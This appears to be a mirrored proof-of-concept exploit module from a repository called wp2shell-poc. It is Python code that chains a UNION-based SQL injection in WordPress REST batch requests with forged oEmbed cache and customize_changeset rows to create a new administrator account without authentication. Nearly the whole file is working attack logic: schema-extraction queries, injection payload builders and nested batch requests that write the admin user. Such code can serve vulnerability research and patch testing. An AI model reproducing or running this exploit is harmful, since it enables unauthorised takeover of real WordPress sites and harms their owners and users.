mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
371 lines
13 KiB
Python
371 lines
13 KiB
Python
"""SQLi-to-admin bridge for vulnerable WordPress batch endpoints."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import hashlib
|
|
import json
|
|
import re
|
|
import secrets
|
|
import urllib.error
|
|
import urllib.parse
|
|
import urllib.request
|
|
import uuid
|
|
from dataclasses import dataclass
|
|
from typing import Dict, Iterable, List, Optional
|
|
|
|
from .client import BatchClient, TargetError
|
|
from .sqli import UnionSQLi
|
|
|
|
_POST_DATE = "2020-01-01 00:00:00"
|
|
_OEMBED_SIZE = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
|
|
_ADMIN_PREFIX = "wp2_"
|
|
_PASSWORD_PREFIX = "Wp2!"
|
|
_EMAIL_DOMAIN = "wp2shell.invalid"
|
|
_NAV_URL = "https://example.invalid/"
|
|
|
|
|
|
@dataclass
|
|
class CreatedAdmin:
|
|
username: str
|
|
password: str
|
|
email: str
|
|
source_admin_id: int
|
|
table_prefix: str
|
|
|
|
|
|
def mysql_hex(text: str) -> str:
|
|
return f"0x{text.encode().hex()}" if text else "''"
|
|
|
|
|
|
def wp_posts_tuple(
|
|
row_id: int,
|
|
*,
|
|
body: str = "",
|
|
title: str = "",
|
|
status: str = "publish",
|
|
slug: str = "",
|
|
parent: int = 0,
|
|
kind: str = "post",
|
|
author: int = 1,
|
|
) -> str:
|
|
"""Build the full ``wp_posts`` SELECT-list used by the UNION primitive."""
|
|
columns = [
|
|
str(row_id),
|
|
str(author),
|
|
mysql_hex(_POST_DATE),
|
|
mysql_hex(_POST_DATE),
|
|
mysql_hex(body),
|
|
mysql_hex(title),
|
|
"''",
|
|
mysql_hex(status),
|
|
mysql_hex("closed"),
|
|
mysql_hex("closed"),
|
|
"''",
|
|
mysql_hex(slug),
|
|
"''",
|
|
"''",
|
|
mysql_hex(_POST_DATE),
|
|
mysql_hex(_POST_DATE),
|
|
"''",
|
|
str(parent),
|
|
"''",
|
|
"0",
|
|
mysql_hex(kind),
|
|
"''",
|
|
"0",
|
|
]
|
|
return ",".join(columns)
|
|
|
|
|
|
class PreAuthAdminCreator:
|
|
"""Turn the confirmed UNION fake-post primitive into a generated administrator."""
|
|
|
|
def __init__(
|
|
self,
|
|
base_url: str,
|
|
*,
|
|
timeout: float = 30.0,
|
|
rest_route: bool = False,
|
|
proxy: Optional[str] = None,
|
|
user_agent: str = "wp2shell",
|
|
) -> None:
|
|
self.base_url = base_url.rstrip("/")
|
|
self.timeout = timeout
|
|
self.rest_route = rest_route
|
|
self.client = BatchClient(
|
|
base_url,
|
|
timeout=timeout,
|
|
rest_route=rest_route,
|
|
proxy=proxy,
|
|
user_agent=user_agent,
|
|
)
|
|
handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
|
|
self.http = urllib.request.build_opener(*handlers)
|
|
self.http.addheaders = [("User-Agent", user_agent)]
|
|
|
|
def create_admin(self) -> CreatedAdmin:
|
|
sqli = UnionSQLi(self.client)
|
|
if not sqli.available():
|
|
raise RuntimeError("UNION fake-post primitive is not available on this target")
|
|
|
|
nonce = secrets.token_hex(6)
|
|
loopback_embeds = self._loopback_embed_urls(nonce)
|
|
self._prime_oembed_posts(loopback_embeds)
|
|
|
|
posts_table = self._posts_table(sqli)
|
|
table_prefix = posts_table[:-5]
|
|
source_admin_id = self._first_admin_id(sqli, table_prefix)
|
|
backing_ids = self._oembed_backing_ids(sqli, posts_table, loopback_embeds)
|
|
|
|
username = f"{_ADMIN_PREFIX}{nonce}"
|
|
password = f"{_PASSWORD_PREFIX}{secrets.token_urlsafe(15)}"
|
|
email = f"{username}@{_EMAIL_DOMAIN}"
|
|
self._submit_user_write(
|
|
backing_ids,
|
|
loopback_embeds,
|
|
source_admin_id,
|
|
{"username": username, "password": password, "email": email, "roles": ["administrator"]},
|
|
)
|
|
return CreatedAdmin(username, password, email, source_admin_id, table_prefix)
|
|
|
|
def _posts_table(self, sqli: UnionSQLi) -> str:
|
|
table_name = sqli.extract(
|
|
"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES "
|
|
"WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
|
|
"ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1"
|
|
)
|
|
if not re.fullmatch(r"[A-Za-z0-9_$]+", table_name):
|
|
raise RuntimeError("could not recover wp_posts table name")
|
|
return table_name
|
|
|
|
def _first_admin_id(self, sqli: UnionSQLi, table_prefix: str) -> int:
|
|
capabilities_key = mysql_hex(table_prefix + "capabilities")
|
|
serialized_admin_cap = mysql_hex('s:13:"administrator";b:1;')
|
|
admin_id = sqli.integer(
|
|
f"SELECT u.ID FROM `{table_prefix}users` u "
|
|
f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID "
|
|
f"WHERE m.meta_key={capabilities_key} AND INSTR(m.meta_value,{serialized_admin_cap})>0 "
|
|
"ORDER BY u.ID LIMIT 1"
|
|
)
|
|
if admin_id < 1:
|
|
raise RuntimeError("could not find an existing administrator ID")
|
|
return admin_id
|
|
|
|
def _loopback_embed_urls(self, nonce: str) -> List[str]:
|
|
base_link = self._first_embeddable_link()
|
|
split = urllib.parse.urlsplit(base_link)
|
|
return [
|
|
urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}"))
|
|
for i in range(3)
|
|
]
|
|
|
|
def _first_embeddable_link(self) -> str:
|
|
"""Return a published, public permalink to seed the oEmbed cache from.
|
|
|
|
Any singular public post or page works: rendering ``[embed]<link>`` makes WordPress create
|
|
the backing ``oembed_cache`` posts. A default install always qualifies -- ``wp_install_defaults()``
|
|
publishes both the "Hello world!" post and the "Sample Page" -- so this normally hits the
|
|
first route; the page fallback covers the rare posts-less site.
|
|
"""
|
|
for route in ("/wp/v2/posts", "/wp/v2/pages"):
|
|
try:
|
|
with self._open_rest(route, {"per_page": "1", "_fields": "link"}) as response:
|
|
items = json.loads(response.read())
|
|
except urllib.error.HTTPError:
|
|
continue # route disabled/restricted -> try the next one
|
|
if items and items[0].get("link"):
|
|
return items[0]["link"]
|
|
raise RuntimeError(
|
|
"no public post or page found to seed the oEmbed cache "
|
|
"(need at least one published post or page)"
|
|
)
|
|
|
|
def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None:
|
|
content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls)
|
|
self._render_union_posts([wp_posts_tuple(0, body=content, title="seed", slug="seed")])
|
|
|
|
def _oembed_backing_ids(self, sqli: UnionSQLi, posts_table: str, embed_urls: Iterable[str]) -> List[int]:
|
|
ids = []
|
|
for embed_url in embed_urls:
|
|
cache_name = hashlib.md5((embed_url + _OEMBED_SIZE).encode()).hexdigest()
|
|
ids.append(
|
|
sqli.integer(
|
|
f"SELECT ID FROM `{posts_table}` "
|
|
"WHERE post_type=0x6f656d6265645f6361636865 "
|
|
f"AND post_name=0x{cache_name.encode().hex()} "
|
|
"ORDER BY ID DESC LIMIT 1"
|
|
)
|
|
)
|
|
if any(row_id < 1 for row_id in ids) or len(set(ids)) != 3:
|
|
raise RuntimeError("could not recover three unique oEmbed cache post IDs")
|
|
return ids
|
|
|
|
def _submit_user_write(
|
|
self,
|
|
backing_ids: List[int],
|
|
embed_urls: List[str],
|
|
source_admin_id: int,
|
|
user_body: Dict[str, object],
|
|
) -> None:
|
|
graph = _PoisonGraph(backing_ids, source_admin_id)
|
|
rows = graph.rows(self._changeset_payload(graph.nav_item_id, source_admin_id), embed_urls[1])
|
|
self._render_union_posts(
|
|
rows,
|
|
tail_requests=[
|
|
{"method": "POST", "path": "/wp/v2/users", "body": user_body},
|
|
{"method": "POST", "path": "/wp/v2/users", "body": user_body},
|
|
],
|
|
)
|
|
|
|
def _changeset_payload(self, nav_item_id: int, user_id: int) -> str:
|
|
return json.dumps(
|
|
{
|
|
f"nav_menu_item[{nav_item_id}]": {
|
|
"type": "nav_menu_item",
|
|
"user_id": user_id,
|
|
"value": {
|
|
"object_id": 0,
|
|
"object": "",
|
|
"menu_item_parent": 0,
|
|
"position": 0,
|
|
"type": "custom",
|
|
"title": "generated",
|
|
"url": _NAV_URL,
|
|
"target": "",
|
|
"attr_title": "",
|
|
"description": "",
|
|
"classes": "",
|
|
"xfn": "",
|
|
"status": "publish",
|
|
"nav_menu_term_id": 0,
|
|
"_invalid": False,
|
|
},
|
|
}
|
|
},
|
|
separators=(",", ":"),
|
|
)
|
|
|
|
def _render_union_posts(self, post_rows: List[str], tail_requests: Optional[List[dict]] = None) -> None:
|
|
union_payload = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(post_rows) + " -- -"
|
|
requests = [
|
|
{"method": "GET", "path": "http://:"},
|
|
{
|
|
"method": "GET",
|
|
"path": "/wp/v2/widgets?"
|
|
+ urllib.parse.urlencode(
|
|
{
|
|
"author_exclude": union_payload,
|
|
"per_page": -1,
|
|
"orderby": "none",
|
|
"context": "view",
|
|
}
|
|
),
|
|
},
|
|
{"method": "GET", "path": "/wp/v2/posts"},
|
|
]
|
|
if tail_requests:
|
|
requests.extend(tail_requests)
|
|
self._nested_batch(requests, timeout=60)
|
|
|
|
def _nested_batch(self, requests: List[dict], *, timeout: float) -> None:
|
|
original_timeout = self.client.timeout
|
|
self.client.timeout = timeout
|
|
try:
|
|
response = self.client.post(
|
|
{
|
|
"requests": [
|
|
{"method": "POST", "path": "http://:"},
|
|
{"method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}},
|
|
{"method": "POST", "path": "/batch/v1"},
|
|
]
|
|
}
|
|
)
|
|
finally:
|
|
self.client.timeout = original_timeout
|
|
if response.status >= 400:
|
|
raise TargetError(f"batch request returned HTTP {response.status}")
|
|
|
|
def _open_rest(self, route: str, query: Dict[str, str]):
|
|
if self.rest_route:
|
|
params = {"rest_route": route, **query}
|
|
url = f"{self.base_url}/?" + urllib.parse.urlencode(params)
|
|
else:
|
|
url = f"{self.base_url}/wp-json{route}?" + urllib.parse.urlencode(query)
|
|
try:
|
|
return self.http.open(url, timeout=self.timeout)
|
|
except urllib.error.HTTPError:
|
|
raise
|
|
except OSError as exc:
|
|
reason = getattr(exc, "reason", exc)
|
|
raise TargetError(f"cannot reach {url}: {reason}") from None
|
|
|
|
|
|
@dataclass
|
|
class _PoisonGraph:
|
|
cache_post_ids: List[int]
|
|
source_admin_id: int
|
|
|
|
def __post_init__(self) -> None:
|
|
self.outer_id = 1800000000 + secrets.randbelow(100000000)
|
|
self.nav_item_id = self.outer_id + 1
|
|
self.inner_id = self.outer_id + 2
|
|
self.changeset_id, self.cache_id, self.request_id = self.cache_post_ids
|
|
|
|
def rows(self, changeset: str, trigger_embed_url: str) -> List[str]:
|
|
return [
|
|
wp_posts_tuple(
|
|
0,
|
|
body=f'[embed width="500" height="750"]{trigger_embed_url}[/embed]',
|
|
title="trigger",
|
|
slug="trigger",
|
|
),
|
|
wp_posts_tuple(
|
|
self.changeset_id,
|
|
body=changeset,
|
|
title="changeset",
|
|
status="future",
|
|
slug=str(uuid.uuid4()),
|
|
parent=self.outer_id,
|
|
kind="customize_changeset",
|
|
),
|
|
wp_posts_tuple(
|
|
self.outer_id,
|
|
body="outer",
|
|
title="outer",
|
|
status="draft",
|
|
slug="outer",
|
|
parent=self.changeset_id,
|
|
),
|
|
wp_posts_tuple(
|
|
self.cache_id,
|
|
title="cache",
|
|
slug="cache",
|
|
parent=self.changeset_id,
|
|
),
|
|
wp_posts_tuple(
|
|
self.nav_item_id,
|
|
body="nav",
|
|
title="nav",
|
|
slug="nav",
|
|
parent=self.request_id,
|
|
kind="nav_menu_item",
|
|
),
|
|
wp_posts_tuple(
|
|
self.request_id,
|
|
body="parse",
|
|
title="parse",
|
|
status="parse",
|
|
slug="parse",
|
|
parent=self.inner_id,
|
|
kind="request",
|
|
),
|
|
wp_posts_tuple(
|
|
self.inner_id,
|
|
body="inner",
|
|
title="inner",
|
|
status="draft",
|
|
slug="inner",
|
|
parent=self.request_id,
|
|
),
|
|
]
|